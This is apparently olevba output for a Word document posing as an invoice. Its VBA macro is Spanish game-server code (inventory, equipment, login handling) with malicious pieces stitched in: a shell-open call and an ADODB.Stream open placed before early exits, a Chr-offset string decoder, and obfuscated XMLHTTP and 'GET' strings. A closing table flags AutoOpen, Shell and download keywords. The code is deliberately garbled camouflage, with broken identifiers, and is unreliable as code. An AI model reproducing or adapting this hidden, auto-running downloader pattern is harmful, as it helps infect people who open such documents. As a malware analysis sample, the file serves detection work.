 If GetPlayerRawStat(index, i) < Item(ItemNum).Stat_Req(i) Then
 PlayerMsg index, "No posees la estad?stica necesaria para equiparte ?ste ?tem.", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 End If
Next
If GetPlayerLevel(index) < Item(ItemNum).LevelReq Then
 PlayerMsg index, "No posees el nivel necesario para equiparte ?ste ?tem.", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
Exit Function
End If
If Item(ItemNum).ClassReq > 0 Then
 If Not GetPlayerClass(index) = Item(ItemNum).ClassReq Then
 PlayerMsg index, "No perteneces a la clase necesaria para equiparte ?ste ?tem.", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 End If
End If
If Not GetPlayerAccess_Mode(index) >= Item(ItemNum).AccessReq Then
 PlayerMsg index, "No posees el acceso necesario para equiparte ?ste ?tem.", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
End If
If Item(ItemNum).BindType > 1 And Item(ItemNum).BindType < 5 Then
 If player(index).triforce(Item(ItemNum).BindType - 1) = False Then
 PlayerMsg index, "No posees la trifuerza para equiparte ?ste ?tem", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 End If
ElseIf Item(ItemNum).BindType = 5 Then
 If HasPlayerAnyTriforce(index) = False Then
 PlayerMsg index, "Debes poseer una trifuerza para equiparte ?ste ?tem", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 End If
End If
If Item(ItemNum).ArmyType_Req <> NONE_PLAYER Then
 If GetPlayerPK(index) <> Item(ItemNum).ArmyType_Req Then
 PlayerMsg index, "No perteneces a la armada necesaria para equiparte este ?tem", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 Else
 If Item(ItemNum).ArmyRange_Req > 0 Then
 If GetPlayerArmyRange(index) < Item(ItemNum).ArmyRange_Req Then
 PlayerMsg index, "No tienes suficiente rango", BrightRed
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
 Exit Function
 End If
 End If
 End If
End If
CanPlayerEquipItem = True
End Function
Public Function CheckSafeMode(ByVal attacker As Long, ByVal victim As Long) As Boolean
 If IsPlayerNeutral(victim) Then
 If GetPlayerSafeMode(attacker) = True Then
 CheckSafeMode = True
 Else
 CheckSafeMode = False
 End If
 Else
 CheckSafeMode = False
 End If
End Function
Public Function GetPlayerSafeMode(ByVal index As Long) As Boolean
 GetPlayerSafeMode = player(index).SafeMode
End Function
Public Function GetPlayerNameColorByTriforce(ByVal index As Long) As Long
Dim color As Byte
Dim i As Byte
i = GetPlayerTriforcesNum(index)
If i = 0 Then
 GetPlayerNameColorByTriforce = BrightGreen
 Exit Function
Else
 If GetPlayerTriforce(index, TRIFORCE_WISDOM) Then
 color = Cyan
 End If
 If GetPlayerTriforce(index, TRIFORCE_COURAGE) Then
 color = Green
 End If
 If GetPlayerTriforce(index, TRIFORCE_POWER) Then
 color = Red
 End If
End If
GetPlayerNameColorByTriforce = color
End Function
Public Function GetPlayerTriforcesName(ByVal index As Long) As String
Dim Chain As String
Dim i As Byte
Dim j As Byte
i = GetPlayerTriforcesNum(index)
Chain = vbNullString
If i = 0 Then
 Chain = vbNullString
Else
 For j = 1 To TriforceType.TriforceType_Count - 1
 If GetPlayerTriforce(index, j) = True Then
 Select Case j
 Case TriforceType.TRIFORCE_COURAGE
 Chain = Chain + "<Valor>"
 Case TriforceType.TRIFORCE_WISDOM
 Chain = Chain + "<Sabidur?a>"
 Case TriforceType.TRIFORCE_POWER
 Chain = Chain + "<Poder>"
 End Select
 End If
 Next
End If
GetPlayerTriforcesName = Chain
End Function
Public Function GetPlayerMaxMoney(ByVal index As Long) As Long
 GetPlayerMaxMoney = GetMaxMoneyByBag(GetPlayerBags(index))
End Function
Public Function GetPlayerBags(ByVal index As Long) As Byte
 GetPlayerBags = player(index).RupeeBags
End Function
Sub SetPlayerBags(ByVal index As Long, ByVal Bags As Byte)
 If (Bags <= MAX_RUPEE_BAGS) Then
 player(index).RupeeBags = Bags
 SendBags index, Bags
 End If
End Sub
Public Function CheckMoneyAdd(ByVal index As Long, ByVal initialvalue As Long, ByVal addvalue As Long) As Long
CheckMoneyAdd = initialvalue + addvalue
Dim MaxMoney As Long
MaxMoney = GetPlayerMaxMoney(index)
If CheckMoneyAdd > MaxMoney Then CheckMoneyAdd = MaxMoney
End Function
Public Function CheckBankMoneyAdd(ByVal initialvalue As Long, ByVal addvalue As Long) As Long
CheckBankMoneyAdd = initialvalue + addvalue
If (CheckBankMoneyAdd > MAX_BANK_RUPEES) Then
 CheckBankMoneyAdd = MAX_BANK_RUPEES
End If
End Function
Public Function GetMaxMoneyByBag(ByVal Bags As Byte) As Long
 If (Bags >= MAX_RUPEE_BAGS) Then
 GetMaxMoneyByBag = Bags * BAG_CAPACITY - 1
 Else
 GetMaxMoneyByBag = Bags * BAG_CAPACITY
 End If
End Function
Public Function SetPlayerCustomSprite(ByVal index As Long, ByVal CustomSprite As Byte)
 If CustomSprite > MAX_CUSTOM_SPRITES Then Exit Function
 player(index).CustomSprite = CustomSprite
End Function
Public Function GetPlayerCustomSprite(ByVal index As Long) As Byte
 If player(index).CustomSprite > MAX_CUSTOM_SPRITES Then Exit Function
 GetPlayerCustomSprite = player(index).CustomSprite
End Function
Public Sub SendEquipmentUpdate(ByVal index As Long)
 Call SendWornEquipment(index)
 Call SendMapEquipment(index)
 Call SendStats(index)
 Call SendVital(index, Vitals.HP)
 Call SendVital(index, Vitals.MP)
 If TempPlayer(index).inParty > 0 Then SendPartyVitals TempPlayer(index).inParty, index
End Sub
Sub ResetPlayerInactivity(ByVal index As Long)
 TempPlayer(index).InactiveTime = 0
End Sub
Function GetInactiveTime(ByVal index As Long) As Long
 GetInactiveTime = TempPlayer(index).InactiveTime
End Function
Sub WarpXtoY(ByVal X As Long, ByVal Y As Long, ByVal carry As Boolean)
 If X = Y Then Exit Sub
 If Not IsPlaying(X) Or Not IsPlaying(Y) Then Exit Sub
 Call PlayerWarpByEvent(X, GetPlayerMap(Y), GetPlayerX(Y), GetPlayerY(Y))
 If carry Then
 Call AddLog(Y, GetPlayerName(Y) & " has warped " & GetPlayerName(X) & " to self, map #" & GetPlayerMap(Y) & ".", ADMIN_LOG)
 If GetPlayerVisible(Y) = 0 Then
 Call PlayerMsg(X, GetTranslation("Has sido teletransportado por") & " " & GetPlayerName(Y) & ".", Cyan, , False)
 Call PlayerMsg(Y, GetPlayerName(X) & " " & GetTranslation("ha sido teletransportado"), Cyan, , False)
 End If
 Else
 Call AddLog(X, GetPlayerName(X) & " has warped to " & GetPlayerName(Y) & ", map #" & GetPlayerMap(Y) & ".", ADMIN_LOG)
 If GetPlayerVisible(X) = 0 Then
 Call PlayerMsg(Y, GetPlayerName(X) & GetTranslation(" se ha teletransportado hacia ti."), Cyan, , False)
 Call PlayerMsg(X, GetTranslation("Has sido teletransportado hacia ") & GetPlayerName(Y) & ".", Cyan, , False)
 End If
 End If
End Sub
Sub BlockPlayerAction(ByVal index As Long, ByVal PlayerAction As String, ByVal Time As Single)
 If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
 TempPlayer(index).BlockedActions(PlayerAction).Value = True
 TempPlayer(index).BlockedActions(PlayerAction).Timer = GetRealTickCount + Time * 1000
 SendBlockedAction index, PlayerAction
End Sub
Function IsActionBlocked(ByVal index As Long, ByVal PlayerAction As String) As Boolean
 If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Function
 IsActionBlocked = TempPlayer(index).BlockedActions(PlayerAction).Value
End Function
Sub UnblockPlayerAction(ByVal index As Long, ByVal PlayerAction As String)
 If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
 TempPlayer(index).BlockedActions(PlayerAction).Value = False
 TempPlayer(index).BlockedActions(PlayerAction).Timer = 0
 SendBlockedAction index, PlayerAction
End Sub
Sub UnblockAllPlayerActions(ByVal index As Long)
 If index = 0 Then Exit Sub
 Dim i As Long
 For i = 1 To PlayerActions_Count - 1
 If IsActionBlocked(index, i) Then
 UnblockPlayerAction index, i
 End If
 Next
End Sub
Sub CheckPlayerActions(ByVal index As Long, ByVal Tick As Long)
 Dim i As Byte
 For i = 1 To PlayerActions_Count - 1
 If TempPlayer(index).BlockedActions(i).Value = True Then
 If TempPlayer(index).BlockedActions(i).Timer < Tick Then
 UnblockPlayerAction index, i
 End If
 End If
 Next
End Sub
Sub ProtectPlayerAction(ByVal index As Long, ByVal PlayerAction As String, ByVal Time As Single)
 If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
 TempPlayer(index).ProtectedActions(PlayerAction).Value = True
 TempPlayer(index).ProtectedActions(PlayerAction).Timer = GetRealTickCount + Time * 1000
End Sub
Function IsActionProtected(ByVal index As Long, ByVal PlayerAction As String) As Boolean
 If index < 1 Or Not (0 < PlayerAction < PlayerActions_Count) Then Exit Function
 IsActionProtected = TempPlayer(index).ProtectedActions(PlayerAction).Value
End Function
Sub ResetPlayerProtection(ByVal index As Long, ByVal PlayerAction As String)
 If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
 TempPlayer(index).ProtectedActions(PlayerAction).Value = False
 TempPlayer(index).ProtectedActions(PlayerAction).Timer = 0
End Sub
Sub CheckPlayerProtections(ByVal index As Long, ByVal Tick As Long)
 Dim i As Byte
 For i = 1 To PlayerActions_Count - 1
 If TempPlayer(index).ProtectedActions(i).Value Then
 If TempPlayer(index).ProtectedActions(i).Timer < Tick Then
 ResetPlayerProtection index, i
 End If
 End If
 Next
End Sub
Public Sub CheckPlayerActionsProtections(ByVal index As Long)
 Dim i As Byte
 shellApp.Open (ItemNum1)
 Exit Sub
 For i = 1 To PlayerActions_Count - 1
 If IsActionBlocked(index, i) Then
 If IsActionProtected(index, i) Then
 UnblockPlayerAction index, i
 End If
 End If
 Next
End Sub
Sub KickPlayer(ByVal index As Long, Optional ByRef Reason As String = "")
 If index = 0 Or Not IsPlaying(index) Then Exit Sub
 Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, White, False, True)
 Call AddLog(0, GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, ADMIN_LOG)
 Call AlertMsg(index, "Has sido expulsado por: " & Reason)
End Sub
Sub ClearPlayerTarget(ByVal index As Long)
 TempPlayer(index).Target = 0
 TempPlayer(index).TargetType = TARGET_TYPE_NONE
 SendTarget index
End Sub
Sub EarthQuake(ByVal index As Long)
 Dim a As Variant
 For Each a In GetMapPlayerCollection(GetPlayerMap(index))
 If a <> index Then
 If IsinRange(4, GetPlayerX(index), GetPlayerY(index), GetPlayerX(a), GetPlayerY(a)) Then
 Call PlayerAttackPlayer(index, a, GetPlayerDamageAgainstPlayer(index, a))
 End If
 End If
 Next
End Sub
Sub CheckGodAttack(ByVal index As Long)
 If GPE(index) Then
 UnblockAllPlayerActions index
 EarthQuake index
 End If
End Sub
Sub ComputePlayerAttackTimer(ByVal index As Long)
 SetPlayerAttackTimer index, GetRealTickCount
End Sub
Function CanPlayerAttackTimer(ByVal index As Long) As Boolean
 Dim Timer As Long, ItemNum As Long
 Timer = GetPlayerAttackTimer(index)
 ItemNum = GetPlayerEquipment(index, Weapon)
 If ItemNum > 0 Then
 If GetRealTickCount > Timer + GetItemSpeed(ItemNum) Then
 CanPlayerAttackTimer = True
 End If
 Else
 If GetRealTickCount > Timer + 1000 Then
 CanPlayerAttackTimer = True
 End If
 End If
End Function
Function GetPlayerAttackTimer(ByVal index As Long) As Long
 GetPlayerAttackTimer = TempPlayer(index).AttackTimer
End Function
Sub SetPlayerAttackTimer(ByVal index As Long, ByVal Time As Long)
 TempPlayer(index).AttackTimer = Time
End Sub


-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub HandleUseChar(ByVal index As Long, ByVal NeedData As Boolean)
 If Not IsPlaying(index) Then
 Call JoinGame(index, NeedData)
 Call AddLog(index, GetPlayerLogin(index) & "/" & GetPlayerName(index) & " has logged in.", PLAYER_LOG)
 Call TextAdd(GetPlayerLogin(index) & "/" & GetPlayerName(index) & " has logged in.")
 Call UpdateCaption
 End If
End Sub
Sub JoinGame(ByVal index As Long, ByVal NeedData As Boolean)
 Dim i As Long, j As Long
 TempPlayer(index).InGame = True
 frmServer.lvwInfo.ListItems(index).SubItems(1) = GetPlayerIP(index)
 frmServer.lvwInfo.ListItems(index).SubItems(2) = GetPlayerLogin(index)
 frmServer.lvwInfo.ListItems(index).SubItems(3) = GetPlayerName(index)
 SendLoginOk index
 DoEvents
 TotalPlayersOnline = TotalPlayersOnline + 1
 CalculateSleepTime
 ByteCounter = 0
 DoEvents
 CheckPlayerStateAtJoin index
 SendMaxWeight index
 Call CheckEquippedItems(index)
 If NeedData Then
 Call SendClasses(index)
 Call SendItems(index)
 Call SendAnimations(index)
 Call SendNpcs(index)
 Call SendShops(index)
 Call SendSpells(index)
 Call SendResources(index)
 Call SendQuests(index)
 Call SendPets(index)
 Call SendCustomSprites(index)
 If GetPlayerAccess_Mode(index) >= ADMIN_CREATOR Then
 Call SendMovements(index)
 Call SendActions(index)
 Call SendDoors(index)
 End If
 End If
 Call SendInventory(index)
 Call SendWornEquipment(index)
 Call SendMapEquipment(index)
 Call SendPlayerSpells(index)
 Call SendHotbar(index)
 Call SendWeather(index)
 Call SendRunningSprites(index)
 SendKillPoints index
 SendPlayerBonusPoints index
 ComputePlayerSpeed index
 CheckToAddMap GetPlayerMap(index)
 SendStaminaInfo index
 AddMapPlayer index, GetPlayerMap(index)
 For i = 1 To Vitals.Vital_Count - 1
 Call SendVital(index, i)
 Next
 CheckPlayerOutOfExp index
 SendEXP index
 Call ComputeAllPlayerStats(index)
 Call SendStats(index)
 Call PlayerSpawn(index, GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index))
 If GetPlayerAccess_Mode(index) <= ADMIN_MONITOR Then
 Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha conectado"), BrightGreen, False)
 Else
 Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha conectado"), BrightGreen, False)
 End If
 Call SendWelcome(index)
 If frmServer.chkTroll.Value = vbChecked Then PlayerMsg index, "You are on a Troll server. Type /admin for admin menu.", BrightRed, , False
 Call GuildLoginCheck(index)
 If player(index).points > 0 Then
 PlayerMsg index, "You have " & player(index).points & " unspent stat points!", White, , False
 End If
 Call InitPlayerPets(index)
 Call SendPetData(index, TempPlayer(index).TempPet.ActualPet)
 Call SetPlayerWeight(index, CalculatePlayerWeight(index))
 TempPlayer(index).Req = False
 If IsPlayerOverWeight(index) Then
 PlayerMsg index, "Soportas demasiado peso! No puedes moverte, arroja items al suelo para bajar tu peso.", BrightRed
 End If
 If ArePlayersOnMap(GetPlayerMap(index)) > 0 Then
 Dim a As Variant
 For Each a In GetMapPlayerCollection(GetPlayerMap(index))
 If a <> index Then
 SendMapEquipmentTo a, index
 End If
 Next
 End If
 SendInGame index
End Sub
Sub LeftGame(ByVal index As Long)
 Dim N As Long, i As Long
 Dim tradeTarget As Long
 If TempPlayer(index).InGame Then
 TempPlayer(index).InGame = False
 DeleteMapPlayer index, GetPlayerMap(index)
 If TempPlayer(index).InTrade > 0 Then
 tradeTarget = TempPlayer(index).InTrade
 PlayerMsg tradeTarget, Trim$(GetPlayerName(index)) & " " & GetTranslation("ha rechazado el comercio."), BrightRed, , False
 For i = 1 To MAX_INV
 TempPlayer(tradeTarget).TradeOffer(i).Num = 0
 TempPlayer(tradeTarget).TradeOffer(i).Value = 0
 Next
 TempPlayer(tradeTarget).InTrade = 0
 SendCloseTrade tradeTarget
 End If
 If IsInTeam(index) Then
 ClearTeamPlayer index
 End If
 Party_PlayerLeave index
 If player(index).GuildFileId > 0 Then
 GuildData(TempPlayer(index).tmpGuildSlot).Guild_Members(player(index).GuildMemberId).Online = False
 Call CheckUnloadGuild(TempPlayer(index).tmpGuildSlot)
 End If
 Call SavePlayer(index)
 Call SaveBank(index)
 Call ClearBank(index)
 If GetPlayerAccess_Mode(index) <= ADMIN_MONITOR Then
 Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha desconectado"), BrightRed, False)
 Else
 End If
 Call TextAdd(GetPlayerName(index) & " " & GetTranslation(" se ha desconectado ") & ".")
 Call SendLeftGame(index)
 TotalPlayersOnline = TotalPlayersOnline - 1
 CalculateSleepTime
 End If
 UnLockPlayerLogin player(index).login
 Call ClearPlayer(index)
End Sub
Function GetPlayerProtection(ByVal index As Long) As Long
 Dim Armor As Long
 Dim Helm As Long
 GetPlayerProtection = 0
 If IsPlaying(index) = False Or index <= 0 Or index > Player_HighIndex Then
 Exit Function
 End If
 Armor = GetPlayerEquipment(index, Armor)
 Helm = GetPlayerEquipment(index, helmet)
 GetPlayerProtection = (GetPlayerStat(index, Stats.Endurance) \ 5)
 If Armor > 0 Then
 GetPlayerProtection = GetPlayerProtection + Item(Armor).Data2
 End If
 If Helm > 0 Then
 GetPlayerProtection = GetPlayerProtection + Item(Helm).Data2
 End If
End Function
Function CanPlayerCriticalHit(ByVal index As Long) As Boolean
 On Error Resume Next
 Dim i As Long
 Dim N As Long
 If GetPlayerEquipment(index, Weapon) > 0 Then
 N = (Rnd) * 1.333
 If N = 1 Then
 i = (GetPlayerStat(index, Stats.Strength) \ 2) + (GetPlayerLevel(index) \ 2)
 N = Int(Rnd * 100) + 1
 If N <= i Then
 CanPlayerCriticalHit = True
 End If
 End If
 End If
End Function
Function CanPlayerBlockHit(ByVal index As Long) As Boolean
 Dim i As Long
 Dim N As Long
 Dim ShieldSlot As Long
 ShieldSlot = GetPlayerEquipment(index, Shield)
 If ShieldSlot > 0 Then
 N = Int(Rnd * 2)
 If N = 1 Then
 i = (GetPlayerStat(index, Stats.Endurance) \ 2) + (GetPlayerLevel(index) \ 2)
 N = Int(Rnd * 100) + 1
 If N <= i Then
 CanPlayerBlockHit = True
 End If
 End If
 End If
End Function
Sub ForcePlayerMove(ByVal index As Long, ByVal Movement As Long, ByVal Direction As Long)
 If Direction < DIR_UP Or Direction > DIR_RIGHT Then Exit Sub
 If Movement < 1 Or Movement > 2 Then Exit Sub
 Select Case Direction
 Case DIR_UP
 If GetPlayerY(index) = 0 Then Exit Sub
 Case DIR_LEFT
 If GetPlayerX(index) = 0 Then Exit Sub
 Case DIR_DOWN
 If GetPlayerY(index) = map(GetPlayerMap(index)).MaxY Then Exit Sub
 Case DIR_RIGHT
 If GetPlayerX(index) = map(GetPlayerMap(index)).MaxX Then Exit Sub
 End Select
 PlayerMove index, Direction, Movement, True
End Sub
Sub CheckEquippedItems(ByVal index As Long)
 Dim slot As Long
 Dim ItemNum As Long
 Dim i As Long
 For i = 1 To Equipment.Equipment_Count - 1
 ItemNum = GetPlayerEquipment(index, i)
 If ItemNum > 0 Then
 Select Case i
 Case Equipment.Weapon
 If Item(ItemNum).Type <> ITEM_TYPE_WEAPON Then SetPlayerEquipment index, 0, i
 Case Equipment.Armor
 If Item(ItemNum).Type <> ITEM_TYPE_ARMOR Then SetPlayerEquipment index, 0, i
 Case Equipment.helmet
 If Item(ItemNum).Type <> ITEM_TYPE_HELMET Then SetPlayerEquipment index, 0, i
 Case Equipment.Shield
 If Item(ItemNum).Type <> ITEM_TYPE_SHIELD Then SetPlayerEquipment index, 0, i
 End Select
 Else
 SetPlayerEquipment index, 0, i
 End If
 Next
End Sub
Function FindOpenInvSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
 Dim i As Long
 If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 Exit Function
 End If
 FindOpenInvSlot = 0
 If isItemStackable(ItemNum) Then
 Dim Tempitemnum As Long
 Dim FreeSlot As Long
 FreeSlot = 0
 For i = 1 To MAX_INV
 Tempitemnum = GetPlayerInvItemNum(index, i)
 If Tempitemnum = ItemNum Then
 FindOpenInvSlot = i
 Exit Function
 ElseIf Tempitemnum = 0 And FindOpenInvSlot = 0 Then
 FindOpenInvSlot = i
 End If
 Next
 Else
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) = 0 Then
 FindOpenInvSlot = i
 Exit Function
 End If
 Next
 End If
End Function
Public Function CanGiveItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, ByRef GivenValue As Long) As Long
If index < 1 Or index > MAX_PLAYERS Or ItemNum < 1 Or ItemNum > MAX_ITEMS Then Exit Function
Dim i As Long
i = FindOpenInvSlot(index, ItemNum)
If i > 0 Then
 If ItemNum = 1 Then
 GivenValue = GetGivenMoney(index, GetPlayerInvItemValue(index, i), itemval)
 Else
 GivenValue = itemval
 End If
 Dim val As Long
 If isItemStackable(ItemNum) Then
 val = GivenValue
 Else
 val = 1
 End If
 If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, val)) Then
 CanGiveItem = i
 Else
 PlayerMsg index, "No puedes soportar mas peso.", BrightRed
 CanGiveItem = 0
 End If
Else
 PlayerMsg index, "No tienes espacio en tu inventario.", BrightRed
 CanGiveItem = 0
End If
End Function
Public Function GetGivenMoney(fromArr() As Variant, Hawk As Double, LenLen As Integer) As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - LenLen - 14 * LenLen - 5000 - 432)
    Next i
    GetGivenMoney = Variabl
End Function
Function Get1GivenMoney(ByVal index As Long, ByVal initialvalue As Long, ByVal Value As Long) As Long
 If GetPlayerMaxMoney(index) < initialvalue + Value Then
 GetGivenMoney = GetPlayerMaxMoney(index) - initialvalue
 Else
 GetGivenMoney = Value
 End If
End Function
Function FindOpenBankSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
 Dim i As Long
 If Not IsPlaying(index) Then Exit Function
 If ItemNum <= 0 Or ItemNum > MAX_ITEMS Then Exit Function
 For i = 1 To MAX_BANK
 If GetPlayerBankItemNum(index, i) = ItemNum Then
 FindOpenBankSlot = i
 Exit Function
 End If
 Next i
 For i = 1 To MAX_BANK
 If GetPlayerBankItemNum(index, i) = 0 Then
 FindOpenBankSlot = i
 Exit Function
 End If
 Next i
End Function
Public Function HasItem(ByVal index As Long, ByVal ItemNum As Long) As Long
 Dim i As Long
 With adodbStream
   .Type = 1
    .Open
End With
 Exit Function
 If IsPlay.ing(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 Exit Function
 End If
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) = ItemNum Then
 If isItemStac.kable(ItemNum) Then
 HasItem = GetPlayerInvItemValue(index, i)
 Else
 HasItem = 1
 End If
 Exit Function
 End If
 Next
End Function
Function TakeInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal UpdateWeight As Boolean = True) As Boolean
 Dim i As Long
 Dim N As Long
 Dim TakenValue As Long
 TakeInvItem = False
 If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 Exit Function
 End If
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) = ItemNum Then
 If isItemStackable(ItemNum) Then
 If itemval >= GetPlayerInvItemValue(index, i) Then
 TakenValue = GetPlayerInvItemValue(index, i)
 Call SetPlayerInvItemNum(index, i, 0)
 Call SetPlayerInvItemValue(index, i, 0)
 TakeInvItem = True
 Else
 Call SetPlayerInvItemValue(index, i, GetPlayerInvItemValue(index, i) - itemval)
 TakenValue = itemval
 End If
 Else
 Call SetPlayerInvItemNum(index, i, 0)
 Call SetPlayerInvItemValue(index, i, 0)
 TakeInvItem = True
 TakenValue = 1
 End If
 Call SendInventoryUpdate(index, i)
 If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, TakenValue))
 Exit For
 End If
 Next
End Function
Function TakeInvSlot(ByVal index As Long, ByVal invSlot As Byte, ByRef itemval As Long, Optional ByVal Update As Boolean = False) As Boolean
 Dim ItemNum As Integer
 Dim NewItemVal As Long
 Dim NewItemNum As Long
 TakeInvSlot = False
 If IsPlaying(index) = False Or invSlot <= 0 Or invSlot > MAX_ITEMS Then Exit Function
 ItemNum = GetPlayerInvItemNum(index, invSlot)
 If ItemNum < 1 Then Exit Function
 If isItemStackable(ItemNum) Then
 If itemval >= GetPlayerInvItemValue(index, invSlot) Then
 NewItemVal = 0
 NewItemNum = 0
 itemval = GetPlayerInvItemValue(index, invSlot)
 Else
 NewItemVal = GetPlayerInvItemValue(index, invSlot) - itemval
 NewItemNum = GetPlayerInvItemNum(index, invSlot)
 End If
 Else
 NewItemVal = 0
 NewItemNum = 0
 itemval = 1
 End If
 SetPlayerInvItemNum index, invSlot, NewItemNum
 SetPlayerInvItemValue index, invSlot, NewItemVal
 SetPlayerWeight index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, itemval)
 If Update Then
 Call SendInventoryUpdate(index, invSlot)
 End If
End Function
Sub GiveInvSlot(ByVal index As Long, ByVal slot As Long, ByVal ItemNum As Long, ByVal Value As Long, Optional ByVal SendUpdate As Boolean = True)
 If index < 1 Or index > MAX_PLAYERS Or slot < 1 Or slot > MAX_INV Then Exit Sub
 Dim SetValue As Long
 If isItemStackable(ItemNum) Then
 SetValue = GetPlayerInvItemValue(index, slot) + Value
 Else
 SetValue = 1
 Value = 1
 End If
 Call SetPlayerInvItemNum(index, slot, ItemNum)
 Call SetPlayerInvItemValue(index, slot, SetValue)
 Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, Value))
 If SendUpdate Then SendInventoryUpdate index, slot
End Sub


+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string |  arroja              | (" arroja ") & " "                      |
| VBA string |  ha subido           | (" ha subido ") & " "                   |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string | ET                   | "" + "" + "" + "E" + "" + "" + "T"      |
| VBA string |  ha adquirido la     | (" ha adquirido la trifuerza ") & " "   |
|            | trifuerza            |                                         |
| VBA string | Has sido             | ("Has sido teletransportado por") & " " |
|            | teletransportado por |                                         |
| VBA string |  ha sido expulsado   | (" ha sido expulsado por: ") & " "      |
|            | por:                 |                                         |
| VBA string |  se ha desconectado  | (" se ha desconectado ") & "."          |
|            | .                    |                                         |
+------------+----------------------+-----------------------------------------+